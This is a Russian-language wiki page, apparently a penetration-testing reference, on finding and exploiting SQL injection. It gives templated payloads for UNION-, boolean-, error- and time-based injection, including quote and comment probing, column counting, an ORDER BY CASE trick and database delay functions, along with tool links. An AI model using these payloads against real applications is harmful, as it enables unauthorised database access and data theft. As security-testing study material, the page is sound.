Sqlinj — различия между версиями
Drakylar (обсуждение | вклад) м (→Особенности эксплуатации) |
Drakylar (обсуждение | вклад) м (→Boolean-Based) |
||
Строка 116: | Строка 116: | ||
Суть заключается в том, что в зависимости от возвращения результата сервера мы будем определять успешно ли выполнился наш запрос. | Суть заключается в том, что в зависимости от возвращения результата сервера мы будем определять успешно ли выполнился наш запрос. | ||
− | ====Определение типа кавычки==== | + | ====Вставка в конструкцию WHERE==== |
+ | |||
+ | =====Определение типа кавычки===== | ||
Смотри соответствующую графу в UNION-Based. | Смотри соответствующую графу в UNION-Based. | ||
− | ==== | + | =====Подтверждение===== |
На всякий случай подтвердим, как будет выглядеть итоговый запрос | На всякий случай подтвердим, как будет выглядеть итоговый запрос | ||
Строка 137: | Строка 139: | ||
Подробнее про эксплуатацию уже зависит от СУБД (ссылки идут ниже на странице). | Подробнее про эксплуатацию уже зависит от СУБД (ссылки идут ниже на странице). | ||
+ | |||
+ | ====Вставка в конструкцию ORDER BY==== | ||
+ | |||
+ | Суть в том, что после ORDER BY мы не можем использовать техники, предоставленные ранее (тк параметры, идущие далее обозначают по какой колонке будет идти сортировка), поэтому придется извращаться следующим образом (пример для mysql): | ||
+ | |||
+ | <syntaxhighlight lang="sql" line="1" style="overflow-x:scroll" > | ||
+ | {параметр}{кавычка},(select case when (1=1) then 1 else 1*( {запрос} )end)=1{комментарий} | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | В зависимости от результата запроса нам либо вернутся данные, либо не вернутся из-за ошибки в запросе. | ||
+ | |||
+ | P.S. В запросе можно попытаться также раскрутить time-based sql injection. | ||
====Особенности==== | ====Особенности==== |
Версия 11:50, 31 декабря 2018
Содержание
Вводная
Кратко: возможность запускать произвольные SQL запросы в базу данных. Статья распределена на то, как найти уязвимость и как ее проэксплуатировать.
Как задетектить
SELECT
UNION-Based
Определение типа кавычки
1. Найти точку ввода данных
2. Найти параметр, который возвращает какое-либо из значений.
3. Определить тип кавычки (в каком из вводов будет возвращаться то же значение)
{параметр} aNd 1=1
{параметр} aNd 1=1
{параметр}/**/aNd/**/1=1
{параметр} -- {\n} aNd 1=1
{параметр}' aNd '1'='1
{параметр}' aNd '1'='1
{параметр}'/**/aNd/**/'1'='1
{параметр}' -- {\n} aNd '1'='1
{параметр}" aNd "1"="1
{параметр}" aNd "1"="1
{параметр}"/**/aNd/**/"1"="1
{параметр}" -- {\n} aNd "1"="1
(Если сработал первый пример, то {кавычка}==={пустое место} :)
Знак комментария и количество скобок
После попытаться определить тип комментария и количество закрывающихся скобочек (обычно их не больше 3):
{параметр}{кавычка} -- 1
{параметр}{кавычка}) -- 1
{параметр}{кавычка})) -- 1
{параметр}{кавычка})...) -- 1
{параметр}{кавычка} # 1
{параметр}{кавычка}) # 1
{параметр}{кавычка})) # 1
{параметр}{кавычка})...) # 1
Подбор количества колонок
GROUP BY
Есть у MySQL,(добавить).
Возвращает данные, если колво колонок меньше или равно N (бинарным поиском).
{параметр}{кавычка}{скобочки} GROUP BY {N} {комментарий}
ORDER BY
Есть у MySQL,(добавить).
Аналогично GROUP BY.
Bruteforce
{параметр}{кавычка}{скобочки} UNION SELECT null,...,null {комментарий}
{параметр}{кавычка}{скобочки} UNION SELECT Null,...,Null {комментарий}
{параметр}{кавычка}{скобочки} UNION SELECT NULL,...,NULL {комментарий}
Также в некоторых случаях перед комментарием надо будет добавить имя существующей таблицы:
FROM dual
Итоговый запрос
Суть заключается в том, что вы можете сделать select запрос в произвольную доступную таблицу и получить результат, но уже в другом поле.
Стоит упомянуть, что тут ужлучше всего использовать такой параметр, который будет заведомо ложным и ничего не вернет.
{параметр}{кавычка}{скобочки} UNION SELECT {колонки_через_запятую} {комментарий}
Обратить внимание
В некоторых случаях нужно будет добавить в конец запроса перед комментарием лимит по выводу (зависит от скрипта обработки ответа БД).
LIMIT 1
LIMIT 0,1
WHERE ROWNUM=1
Также при эксплуатации в определенных СУБД нельзя делать UNION колонок разных типов, поэтому надо будет экспериментировать.
Boolean-Based
Суть заключается в том, что в зависимости от возвращения результата сервера мы будем определять успешно ли выполнился наш запрос.
Вставка в конструкцию WHERE
Определение типа кавычки
Смотри соответствующую графу в UNION-Based.
Подтверждение
На всякий случай подтвердим, как будет выглядеть итоговый запрос
{параметр}{кавычка} AND {кавычка}1{кавычка}={кавычка}1
А далее остается добавить ваше условие:
{параметр}{кавычка} AND {условие} AND {кавычка}1{кавычка}={кавычка}1
Теперь можно хоть делать приведение типов и по 1 букве перебирать значение результата запроса.
Подробнее про эксплуатацию уже зависит от СУБД (ссылки идут ниже на странице).
Вставка в конструкцию ORDER BY
Суть в том, что после ORDER BY мы не можем использовать техники, предоставленные ранее (тк параметры, идущие далее обозначают по какой колонке будет идти сортировка), поэтому придется извращаться следующим образом (пример для mysql):
{параметр}{кавычка},(select case when (1=1) then 1 else 1*( {запрос} )end)=1{комментарий}
В зависимости от результата запроса нам либо вернутся данные, либо не вернутся из-за ошибки в запросе.
P.S. В запросе можно попытаться также раскрутить time-based sql injection.
Особенности
Если букв, то лучше всего реализовать бинарный поиск, используя функции, аналогичные CONCAT, ASCII, CHR и тд.
Если целое число, то то же самое, но без функций.
Error-Based
Возможность использовать специальные функции, возвращающие в видимой нам ошибке stderr уже преобразованный аргумент. Начинается эксплуатация так же, как и UNION-Based или Boolean-Based (зависит от того, получится ли раскрутить слепую UNION).
В случае с Blind-UNION
Это когда смог подобрать количество колонок, но не видишь свои поля на экране.
Но! Cтоит заметить, что чаще всего такое происходит из-за того, что введенное значение до первой кавычки нашлось в базе данных, поэтому надо экспериментировать с добавлением AND 1=0 перед словом UNION.
Запрос с UNION выглядит следующим образом:
{параметр}{кавычка}{скобочки} UNION SELECT {колонки_через_запятую} {комментарий}
Остается в одну из колонок {колонки_через_запятую} подставить функцию, вызывающую ошибку обработки аргумента (то есть нашего запроса).
В случае с Boolean-Based
Общий запрос Boolean-Based выглядит, как:
{параметр}{кавычка} AND {условие} AND {кавычка}1{кавычка}={кавычка}1
Так вот вместо условия аналогично предыдущему пункту требуется подставить функцию, вызывающую ошибку обработки аргумента-запроса.
Time-Based
Поиск параметров
В случае с Time-Based требуется угадывать два параметра за раз:
1. Подбор типа кавычки (см. Union-Based) 2. Подбор функции задержки времени
Если первый пункт вы можете посмотреть на Union-Based, то со вторым уже требуется составить новый список:
SLEEP(time)
BENCHMARK(количество_повторений_запроса, запрос) //надо ставить большое количество повторений
waitfor delay '00:00:10'
dbms_lock.sleep(5)
Запрос во время подбора будет выглядеть как:
{параметр}{кавычка} AND {задержка_времени} AND {кавычка}1{кавычка}={кавычка}1
После чего на место {задержка_времени} будет подставлен сложный запрос, где в зависимости от результата будет запускаться функция задержки времени.
Подробнее на определенных страницах СУБД (ниже ссылки).
Особенности эксплуатации
В некоторых случаях типа OracleDB и IBM DB2 требуется делать сложный запрос в качестве задержки времени, так что если не сработало, то проверьте ссылки эксплуатаций в отдельных СУБД (внизу страницы).
Auth
INSERT
Задача Insert SQL Injection сводится к записи в таблицу базы данных результат произвольного запроса.
DELETE
UPDATE
EXEC
Как проэксплуатировать
Общее
MySQL
OracleDB
PostgreSQL
SQLite
IBM DB2
Ссылки
Nicholas: https://github.com/client9/libinjection/blob/master/data/sqli-rsalgado-bhusa2013.txt
Мануал на Рдот - один из лучших.
https://rdot.org/forum/showthread.php?t=124
TOOLS
SQLMap (crossplatform)
Havij (win)
http://sqlninja.sourceforge.net/sqlninja-howto.html